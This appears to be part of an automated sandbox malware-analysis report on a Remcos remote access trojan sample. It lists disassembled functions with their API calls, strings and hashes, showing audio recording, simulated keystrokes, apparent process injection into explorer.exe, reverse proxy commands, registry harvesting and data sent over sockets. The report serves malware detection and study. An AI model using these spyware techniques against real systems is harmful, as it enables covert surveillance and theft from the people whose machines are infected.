                        • API ID: Service$CloseHandle$Open$ControlManager
                        • String ID:
                        • API String ID: 221034970-0
                        • Opcode ID: f803f1007c82734b6722f6408504697e53103f3d97c358fc3be63c7478a3d497
                        • Instruction ID: 6fbe0b082825830d9e24babaefac53afed48758aa8e56b4d18e4903ff4329a9c
                        • Opcode Fuzzy Hash: f803f1007c82734b6722f6408504697e53103f3d97c358fc3be63c7478a3d497
                        • Instruction Fuzzy Hash: 41114C71901218AFD711AF64DCC4DFF3B7CDB42B62B000036FA05D2192DB289C46AAFA
                        Function 00448121 Relevance: 15.1, APIs: 10, Instructions: 54COMMON
                        Download Yara Rule
                        APIs
                        • _free.LIBCMT ref: 00448135
                          • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000), ref: 00446798
                          • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                        • _free.LIBCMT ref: 00448141
                        • _free.LIBCMT ref: 0044814C
                        • _free.LIBCMT ref: 00448157
                        • _free.LIBCMT ref: 00448162
                        • _free.LIBCMT ref: 0044816D
                        • _free.LIBCMT ref: 00448178
                        • _free.LIBCMT ref: 00448183
                        • _free.LIBCMT ref: 0044818E
                        • _free.LIBCMT ref: 0044819C
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: _free$ErrorFreeHeapLast
                        • String ID:
                        • API String ID: 776569668-0
                        • Opcode ID: 27d76b13a5ecae076ca6598a5b1433465caaf67949f0bdc0fbde8a5d49186781
                        • Instruction ID: 63500befab30bf138fa449b3e81d3956d19e40097f86fc95f12732a98ce5ff4f
                        • Opcode Fuzzy Hash: 27d76b13a5ecae076ca6598a5b1433465caaf67949f0bdc0fbde8a5d49186781
                        • Instruction Fuzzy Hash: C211B67A500508BFEB01EF96C842CDD3BA5FF05359B0240AAFA588F222DA35DF509BC5
                        Function 004114F5 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 191COMMON
                        Download Yara Rule
                        APIs
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Eventinet_ntoa
                        • String ID: GetDirectListeningPort$StartForward$StartReverse$StopForward$StopReverse$NG
                        • API String ID: 3578746661-3604713145
                        • Opcode ID: f9a27c71ff67ba9158015f4eae185af36ec3b7274dd4ef4f0beb13a76f4cc4c0
                        • Instruction ID: 71dfdc03858149a45142756d2b421c0b7bbb6d70992310a40494c7f1f0681c69
                        • Opcode Fuzzy Hash: f9a27c71ff67ba9158015f4eae185af36ec3b7274dd4ef4f0beb13a76f4cc4c0
                        • Instruction Fuzzy Hash: 0051C131A042015BC614FB36C91AAAE37A5AB85344F40453FF906A76F1EF7C8985C7DE
                        Function 00455F04 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 154COMMONLIBRARYCODE
                        Download Yara Rule
                        APIs
                        • DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,?,00456FFF), ref: 00455F27
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: DecodePointer
                        • String ID: acos$asin$exp$log$log10$pow$sqrt
                        • API String ID: 3527080286-3064271455
                        • Opcode ID: 629998c7ca290600fade91f32205cb7004f8bc569fe6c3e827db03ba52e3cc78
                        • Instruction ID: ff4fc8d1aadbe784407353d8516796ad37925c88dabf63da6293f70e8270e0de
                        • Opcode Fuzzy Hash: 629998c7ca290600fade91f32205cb7004f8bc569fe6c3e827db03ba52e3cc78
                        • Instruction Fuzzy Hash: 16519F71900909CBCF10CF58E9485BEBBB0FF49306FA14197D841A73A6DB399D298B1E
                        Function 00417495 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 104sleepfileCOMMON
                        Download Yara Rule
                        APIs
                        • ShellExecuteW.SHELL32(00000000,open,dxdiag,00000000,00000000,00000000), ref: 004174F5
                          • Part of subcall function 0041C485: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041C49E
                        • Sleep.KERNEL32(00000064), ref: 00417521
                        • DeleteFileW.KERNEL32(00000000), ref: 00417555
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: File$CreateDeleteExecuteShellSleep
                        • String ID: /t $\sysinfo.txt$dxdiag$open$temp
                        • API String ID: 1462127192-2001430897
                        • Opcode ID: 80bc1f01d41e6bb49ab2ea0752573067485f1394140a330d823018e0c212e60a
                        • Instruction ID: 51d64fe7c8a5c54eac4555a52c350958ac4104e8f54c8767ba2a87230734c78e
                        • Opcode Fuzzy Hash: 80bc1f01d41e6bb49ab2ea0752573067485f1394140a330d823018e0c212e60a
                        • Instruction Fuzzy Hash: 1431307194011A9ADB04FB62DC96DED7779AF50309F40017EF606730E2EF785A8ACA9C
                        Function 004073AC Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 99COMMON
                        Download Yara Rule
                        APIs
                        • GetCurrentProcess.KERNEL32(00472B14,00000000,004752D8,00003000,00000004,00000000,00000001), ref: 004073DD
                        • GetCurrentProcess.KERNEL32(00472B14,00000000,00008000,?,00000000,00000001,00000000,00407656,C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe), ref: 0040749E
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: CurrentProcess
                        • String ID: PEB: %x$[+] NtAllocateVirtualMemory Success$[-] NtAllocateVirtualMemory Error$\explorer.exe$explorer.exe$windir
                        • API String ID: 2050909247-4242073005
                        • Opcode ID: 1dcac826a5e52bf6061f4ebfcee704f683c74aacb316ad2bc9bf89965cfe4023
                        • Instruction ID: f630994b7aed3d2c1b9b8fa2b3e4f68b22e8b08ead4833dea6669ff7d567ef23
                        • Opcode Fuzzy Hash: 1dcac826a5e52bf6061f4ebfcee704f683c74aacb316ad2bc9bf89965cfe4023
                        • Instruction Fuzzy Hash: 7031A471A04700ABD321FF65ED46F167BB8AB44305F10087EF515A6292E7B8B8448B6F
                        Function 00401D0B Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 89COMMON
                        Download Yara Rule
                        APIs
                        • _strftime.LIBCMT ref: 00401D50
                          • Part of subcall function 00401A6D: CreateFileW.KERNEL32(00000000,40000000,00000000), ref: 00401AD9
                        • waveInUnprepareHeader.WINMM(00472A88,00000020,00000000), ref: 00401E02
                        • waveInPrepareHeader.WINMM(00472A88,00000020), ref: 00401E40
                        • waveInAddBuffer.WINMM(00472A88,00000020), ref: 00401E4F
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: wave$Header$BufferCreateFilePrepareUnprepare_strftime
                        • String ID: %Y-%m-%d %H.%M$.wav$dMG$|MG
                        • API String ID: 3809562944-243156785
                        • Opcode ID: 2a82ab0076c0d6d6c8320c03c1c844241e91b5265a3fceccd43811ae68df0b86
                        • Instruction ID: 027c37fd5a1300b84eaed5fd93cda356eabc1c7fedb6cd9f381e221a57c36ff8
                        • Opcode Fuzzy Hash: 2a82ab0076c0d6d6c8320c03c1c844241e91b5265a3fceccd43811ae68df0b86
                        • Instruction Fuzzy Hash: 383181315043019FC324EB21DD46A9A77A8EB84314F40443EF18DA21F2EFB89A49CB5E
                        Function 00410E61 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 75COMMON
                        Download Yara Rule
                        APIs
                        • std::_Lockit::_Lockit.LIBCPMT ref: 00410E6E
                        • int.LIBCPMT ref: 00410E81
                          • Part of subcall function 0040E0C1: std::_Lockit::_Lockit.LIBCPMT ref: 0040E0D2
                          • Part of subcall function 0040E0C1: std::_Lockit::~_Lockit.LIBCPMT ref: 0040E0EC
                        • std::_Facet_Register.LIBCPMT ref: 00410EC1
                        • std::_Lockit::~_Lockit.LIBCPMT ref: 00410ECA
                        • __CxxThrowException@8.LIBVCRUNTIME ref: 00410EE8
                        • __Init_thread_footer.LIBCMT ref: 00410F29
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_Init_thread_footerRegisterThrow
                        • String ID: ,kG$0kG
                        • API String ID: 3815856325-2015055088
                        • Opcode ID: e0f3714a3daeaf8b288ae2a542907f179217b7f89c568a0a8b7367a1e9159da3
                        • Instruction ID: 12cf7b7900226bd12227407fb3b1cbab205c4dd0745ae636880afd2a72082c2f
                        • Opcode Fuzzy Hash: e0f3714a3daeaf8b288ae2a542907f179217b7f89c568a0a8b7367a1e9159da3
                        • Instruction Fuzzy Hash: 162134329005249BC704EB6AD9428DE37A8EF48324F20056FF804A72D1DBB9AD81CB9D
                        Function 00401BE9 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 71COMMON
                        Download Yara Rule
                        APIs
                        • CreateDirectoryW.KERNEL32(00000000,00000000), ref: 00401BF9
                        • waveInOpen.WINMM(00472AC0,000000FF,00472AA8,Function_00001D0B,00000000,00000000), ref: 00401C8F
                        • waveInPrepareHeader.WINMM(00472A88,00000020), ref: 00401CE3
                        • waveInAddBuffer.WINMM(00472A88,00000020), ref: 00401CF2
                        • waveInStart.WINMM ref: 00401CFE
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: wave$BufferCreateDirectoryHeaderOpenPrepareStart
                        • String ID: dMG$|MG$PG
                        • API String ID: 1356121797-532278878
                        • Opcode ID: f67d326050ea03177529252cfca037bf538e61c655dad41bf55bf31ac8308c8f
                        • Instruction ID: ba088f7df0b955e0db37e5e5e2d8d6799d5f59e9c832501e8260ac80857d70f0
                        • Opcode Fuzzy Hash: f67d326050ea03177529252cfca037bf538e61c655dad41bf55bf31ac8308c8f
                        • Instruction Fuzzy Hash: 53212A71604201AFC739DF6AEE15A6A7BB6FB94715B00803FA10DD76B1DBB84881CB5C
                        Function 0041D45D Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 48windowstringCOMMON
                        Download Yara Rule
                        APIs
                        • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 0041D476
                          • Part of subcall function 0041D50F: RegisterClassExA.USER32 ref: 0041D55B
                          • Part of subcall function 0041D50F: CreateWindowExA.USER32 ref: 0041D576
                          • Part of subcall function 0041D50F: GetLastError.KERNEL32 ref: 0041D580
                        • ExtractIconA.SHELL32(00000000,?,00000000), ref: 0041D4AD
                        • lstrcpynA.KERNEL32(00474B60,Remcos,00000080), ref: 0041D4C7
                        • Shell_NotifyIconA.SHELL32(00000000,00474B48), ref: 0041D4DD
                        • TranslateMessage.USER32(?), ref: 0041D4E9
                        • DispatchMessageA.USER32 ref: 0041D4F3
                        • GetMessageA.USER32 ref: 0041D500
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Message$Icon$ClassCreateDispatchErrorExtractFileLastModuleNameNotifyRegisterShell_TranslateWindowlstrcpyn
                        • String ID: Remcos
                        • API String ID: 1970332568-165870891
                        • Opcode ID: e379e7694b2aceffa08d25cf1e7e1f0c4c43df4e14370d432b5b71655a4afb2b
                        • Instruction ID: 4ccd8a34d55b2cf311069b5b9598b364b65d9d4e2968dcdf9eb94a5ca0393a4d
                        • Opcode Fuzzy Hash: e379e7694b2aceffa08d25cf1e7e1f0c4c43df4e14370d432b5b71655a4afb2b
                        • Instruction Fuzzy Hash: AC015271800245EBD7109FA5EC4CFEABB7CEB85705F004026F515930A1D778E885CB98
                        Function 0044CD80 Relevance: 13.8, APIs: 9, Instructions: 300COMMONLIBRARYCODE
                        Download Yara Rule
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID:
                        • String ID:
                        • API String ID:
                        • Opcode ID: 7e166faf4fed60888f6d9a5ae5c37c00b97c36b417cf054fc87f790b28aa2c34
                        • Instruction ID: c2c0890efeac2311cc0422bbb5d66c498191acafde20d8af94b1f6b0c86a236e
                        • Opcode Fuzzy Hash: 7e166faf4fed60888f6d9a5ae5c37c00b97c36b417cf054fc87f790b28aa2c34
                        • Instruction Fuzzy Hash: 5AC1D770D04249AFEF11DFA9C881BAEBBB4EF09314F18415AE914A7392C77C9D41CB69
                        Function 00445179 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 266COMMONLIBRARYCODE
                        Download Yara Rule
                        APIs
                          • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                          • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                          • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                          • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                        • _memcmp.LIBVCRUNTIME ref: 00445423
                        • _free.LIBCMT ref: 00445494
                        • _free.LIBCMT ref: 004454AD
                        • _free.LIBCMT ref: 004454DF
                        • _free.LIBCMT ref: 004454E8
                        • _free.LIBCMT ref: 004454F4
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: _free$ErrorLast$_abort_memcmp
                        • String ID: C
                        • API String ID: 1679612858-1037565863
                        • Opcode ID: 9a230522b66ee103f0b5d02c6619ea6d7647dc78be8ff38f2db07545005a246d
                        • Instruction ID: 551747f29a431029642ca2aca46be5bbca0cbe6c77a4b2ed9ddfbf6361621c56
                        • Opcode Fuzzy Hash: 9a230522b66ee103f0b5d02c6619ea6d7647dc78be8ff38f2db07545005a246d
                        • Instruction Fuzzy Hash: B2B13975A016199BEB24DF18C884BAEB7B4FF08308F5045EEE949A7351E774AE90CF44
                        Function 0041490A Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 225COMMON
                        Download Yara Rule
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID:
                        • String ID: tcp$udp
                        • API String ID: 0-3725065008
                        • Opcode ID: 856ac91ac91911106c473792f8c7d8f31027b78cae10ba96d9f0cbb069fdbf0d
                        • Instruction ID: c6aeaafd44a905d145cb4251883953767b251f71b123717361be5a5837da4da2
                        • Opcode Fuzzy Hash: 856ac91ac91911106c473792f8c7d8f31027b78cae10ba96d9f0cbb069fdbf0d
                        • Instruction Fuzzy Hash: 637177B06083028FDB24CF65C480BABB7E4AFD4395F15442FF88986351E778DD858B9A
                        Function 0040186A Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 142threadCOMMON
                        Download Yara Rule
                        APIs
                        • __Init_thread_footer.LIBCMT ref: 004018BE
                        • ExitThread.KERNEL32 ref: 004018F6
                        • waveInUnprepareHeader.WINMM(?,00000020,00000000), ref: 00401A04
                          • Part of subcall function 00434770: __onexit.LIBCMT ref: 00434776
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: ExitHeaderInit_thread_footerThreadUnprepare__onexitwave
                        • String ID: PkG$XMG$NG$NG
                        • API String ID: 1649129571-3151166067
                        • Opcode ID: d792f27428e216ec403bd2c8f2a7274a29a7ee60ee52af981f0ff1553ee06993
                        • Instruction ID: 5b8630810f78da979eb204bf693be1d55f2004797ab3201abec5cd50ea38d472
                        • Opcode Fuzzy Hash: d792f27428e216ec403bd2c8f2a7274a29a7ee60ee52af981f0ff1553ee06993
                        • Instruction Fuzzy Hash: BF41B4312042109BC324FB26DD96ABE73A6AB85314F00453FF54AA61F2DF386D49C75E
                        Function 00407963 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 102fileCOMMON
                        Download Yara Rule
                        APIs
                        • CreateFileW.KERNEL32(00000000,00000004,00000000,00000000,00000002,00000080,00000000), ref: 004079C5
                        • WriteFile.KERNEL32(00000000,?,00000000,000186A0,00000000), ref: 00407A0D
                          • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                        • CloseHandle.KERNEL32(00000000), ref: 00407A4D
                        • MoveFileW.KERNEL32 ref: 00407A6A
                        • CloseHandle.KERNEL32(00000000), ref: 00407A95
                        • DeleteFileW.KERNEL32(00000000,?,?,?,?,?,?,?,0000000A,00000000), ref: 00407AA5
                          • Part of subcall function 00404B96: WaitForSingleObject.KERNEL32(?,000000FF,?,00474EF8,00404C49,00000000,?,?,?,00474EF8,?), ref: 00404BA5
                          • Part of subcall function 00404B96: SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040548B), ref: 00404BC3
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: File$CloseHandle$CreateDeleteEventMoveObjectSingleWaitWritesend
                        • String ID: .part
                        • API String ID: 1303771098-3499674018
                        • Opcode ID: f1cb0ead7d2d2b2a1caa9b1fbd2e08d67abddaf9d20ca2f7b8d78d50525d07aa
                        • Instruction ID: 3872d967715c28256f57216ae0d43a20e9ded80e7ed52efebe816600842ab993
                        • Opcode Fuzzy Hash: f1cb0ead7d2d2b2a1caa9b1fbd2e08d67abddaf9d20ca2f7b8d78d50525d07aa
                        • Instruction Fuzzy Hash: 7F318371508341AFC210EB21DC4599FB7A8FF94359F00493EB545A2192EB78EE48CB9A
                        Function 00419993 Relevance: 12.1, APIs: 8, Instructions: 102keyboardCOMMON
                        Download Yara Rule
                        APIs
                        • SendInput.USER32(00000001,?,0000001C), ref: 004199CC
                        • SendInput.USER32(00000001,?,0000001C), ref: 004199ED
                        • SendInput.USER32(00000001,?,0000001C), ref: 00419A0D
                        • SendInput.USER32(00000001,?,0000001C), ref: 00419A21
                        • SendInput.USER32(00000001,?,0000001C), ref: 00419A37
                        • SendInput.USER32(00000001,?,0000001C), ref: 00419A54
                        • SendInput.USER32(00000001,?,0000001C), ref: 00419A6F
                        • SendInput.USER32(00000001,?,0000001C), ref: 00419A8B
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: InputSend
                        • String ID:
                        • API String ID: 3431551938-0
                        • Opcode ID: f95364bfe09dcd8f200507449a759ee15de787b6f4e4bd27b79311205e9f388b
                        • Instruction ID: babcb3f23bbfeda7ed9031f98f3524dfd9ae94bb4b0c65128b251ed995bccade
                        • Opcode Fuzzy Hash: f95364bfe09dcd8f200507449a759ee15de787b6f4e4bd27b79311205e9f388b
                        • Instruction Fuzzy Hash: CE31B471558349AEE310CF51DC41BEBBBDCEF98B54F00080FF6808A181D2A6A9C88B97
                        Function 00447571 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 389COMMONLIBRARYCODE
                        Download Yara Rule
                        APIs
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: __freea$__alloca_probe_16_free
                        • String ID: a/p$am/pm$zD
                        • API String ID: 2936374016-2723203690
                        • Opcode ID: f0859f4b60942e64c2417795a0aa154076776a6c217ac3e68ed0847ac231e996
                        • Instruction ID: 9fbfa546a4d6e8c17a1525f8bb1fcc11d6b56032d3bbc67104e2604220ae0e85
                        • Opcode Fuzzy Hash: f0859f4b60942e64c2417795a0aa154076776a6c217ac3e68ed0847ac231e996
                        • Instruction Fuzzy Hash: 6AD1D1B1918206CAFB249F68C845ABBB7B1FF05310F28415BE545AB351D33D9D43CBA9
                        Function 00413A55 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 179registryCOMMON
                        Download Yara Rule
                        APIs
                        • RegQueryInfoKeyW.ADVAPI32(?,?,00000104,00000000,?,?,?,?,?,?,?,?), ref: 00413ABC
                        • RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00413AEB
                        • RegEnumValueW.ADVAPI32(?,00000000,?,00003FFF,00000000,?,?,00002710), ref: 00413B8B
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Enum$InfoQueryValue
                        • String ID: [regsplt]$xUG$TG
                        • API String ID: 3554306468-1165877943
                        • Opcode ID: 7e2048b5b4a15889db9c74ac39567fdb59dd46086023709b3913aff4f04af58e
                        • Instruction ID: b9c9d149d6e4de0395087b00820169330fa190b61d8fc59f93bff107e3475f49
                        • Opcode Fuzzy Hash: 7e2048b5b4a15889db9c74ac39567fdb59dd46086023709b3913aff4f04af58e
                        • Instruction Fuzzy Hash: E5511D72900219AADB11EB95DC85EEFB77DAF04305F10007AF505F6191EF786B48CBA9
                        Function 0044B3BC Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMONLIBRARYCODE
                        Download Yara Rule
                        APIs
                        • GetConsoleCP.KERNEL32 ref: 0044B3FE
                        • __fassign.LIBCMT ref: 0044B479
                        • __fassign.LIBCMT ref: 0044B494
                        • WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,FF8BC35D,00000005,00000000,00000000), ref: 0044B4BA
                        • WriteFile.KERNEL32(?,FF8BC35D,00000000,0044BB31,00000000), ref: 0044B4D9
                        • WriteFile.KERNEL32(?,?,00000001,0044BB31,00000000), ref: 0044B512
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: FileWrite__fassign$ByteCharConsoleMultiWide
                        • String ID:
                        • API String ID: 1324828854-0
                        • Opcode ID: e1ab2fdd82c1bf82b8ea5de4eaaa1e5c3a736621917fd27297e58c6e874c6116
                        • Instruction ID: 24f44d390d373c30b0d8a34eda065edd0bccebe0da4884afe324d1cece3cc5ea
                        • Opcode Fuzzy Hash: e1ab2fdd82c1bf82b8ea5de4eaaa1e5c3a736621917fd27297e58c6e874c6116
                        • Instruction Fuzzy Hash: 0751D270900208AFDB10CFA8D885AEEFBF4EF09305F14856BE955E7292D734D941CBA9
                        Function 00456C1A Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 152COMMONLIBRARYCODE
                        Download Yara Rule
                        APIs
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: _free
                        • String ID: D[E$D[E
                        • API String ID: 269201875-3695742444
                        • Opcode ID: a6e07d2e332d0ea6e1aa7b7f7b4c4c7b9128dbb8fddfed026ac15973f0d55745
                        • Instruction ID: e1ec1e089ae9cf4c30c2343e7c59e1c9a5dba52e91c7d03f0b1416238821c5a9
                        • Opcode Fuzzy Hash: a6e07d2e332d0ea6e1aa7b7f7b4c4c7b9128dbb8fddfed026ac15973f0d55745
                        • Instruction Fuzzy Hash: 7A415B31A001046BEB216BBA8C4566F3BB4EF41336F96061BFC24D7293DA7C880D566D
                        Function 00413D0D Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 135registryCOMMON
                        Download Yara Rule
                        APIs
                        • RegOpenKeyExW.ADVAPI32 ref: 00413D46
                          • Part of subcall function 00413A55: RegQueryInfoKeyW.ADVAPI32(?,?,00000104,00000000,?,?,?,?,?,?,?,?), ref: 00413ABC
                          • Part of subcall function 00413A55: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00413AEB
                          • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                        • RegCloseKey.ADVAPI32(00000000), ref: 00413EB4
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: CloseEnumInfoOpenQuerysend
                        • String ID: xUG$NG$NG$TG
                        • API String ID: 3114080316-2811732169
                        • Opcode ID: 08b76a7912a30081b3e44aa767579625ce380fd121976155e2fb2c8398a0c7a5
                        • Instruction ID: 865164b8d80166fcad8b4517e5ed4c9fbafb7c73de3830c3e78154838722fbed
                        • Opcode Fuzzy Hash: 08b76a7912a30081b3e44aa767579625ce380fd121976155e2fb2c8398a0c7a5
                        • Instruction Fuzzy Hash: 0B419E316082405BC324F726DC56AEF72959FD1348F40883FF54A671D2EF7C5949866E
                        Function 0041B68A Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 91COMMON
                        Download Yara Rule
                        APIs
                          • Part of subcall function 0041361B: RegOpenKeyExW.ADVAPI32 ref: 0041363D
                          • Part of subcall function 0041361B: RegQueryValueExW.ADVAPI32(?,0040F313,00000000,00000000,?,00000400), ref: 0041365C
                          • Part of subcall function 0041361B: RegCloseKey.ADVAPI32(?), ref: 00413665
                          • Part of subcall function 0041BFB7: GetCurrentProcess.KERNEL32(?,?,?,0040DAAA,WinDir,00000000,00000000), ref: 0041BFC8
                        • _wcslen.LIBCMT ref: 0041B763
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: CloseCurrentOpenProcessQueryValue_wcslen
                        • String ID: .exe$8SG$http\shell\open\command$program files (x86)\$program files\
                        • API String ID: 37874593-122982132
                        • Opcode ID: 72adfb785b3f574a19d60f3d41fc94025ad2806abf0e3203f42f61a897081afc
                        • Instruction ID: 0af867b59be632d30c611c6dccf556baefac66a2e67262e696d3f692bc65d575
                        • Opcode Fuzzy Hash: 72adfb785b3f574a19d60f3d41fc94025ad2806abf0e3203f42f61a897081afc
                        • Instruction Fuzzy Hash: 6721A472A002086BDB14BAB58CD6AFE766D9B85328F14043FF405B72C2EE7C9D494269
                        Function 0040BEE9 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 87COMMON
                        Download Yara Rule
                        APIs
